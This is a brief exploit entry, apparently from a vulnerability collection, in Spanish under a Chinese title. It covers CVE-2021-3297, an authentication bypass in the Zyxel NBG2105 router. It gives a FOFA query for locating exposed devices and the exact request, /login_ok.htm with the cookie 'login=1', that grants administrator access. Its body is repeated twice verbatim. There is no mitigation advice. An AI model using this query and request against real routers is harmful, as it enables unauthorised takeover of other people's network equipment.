CVE-2021-3297_Zyxel_NBG2105_身份驗證繞過漏洞_es

# CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞/es

== Impacto de la vulnerabilidad ==

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


El archivo de front-end /js/util_gw.js tiene la verificación de front-end del parámetro Cookie login.

Si solicita lo siguiente, será redirigido a la página home.htm como administrador.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;


== Impacto de la vulnerabilidad ==

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


El archivo de front-end /js/util_gw.js tiene la verificación de front-end del parámetro Cookie login.

Si solicita lo siguiente, será redirigido a la página home.htm como administrador.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;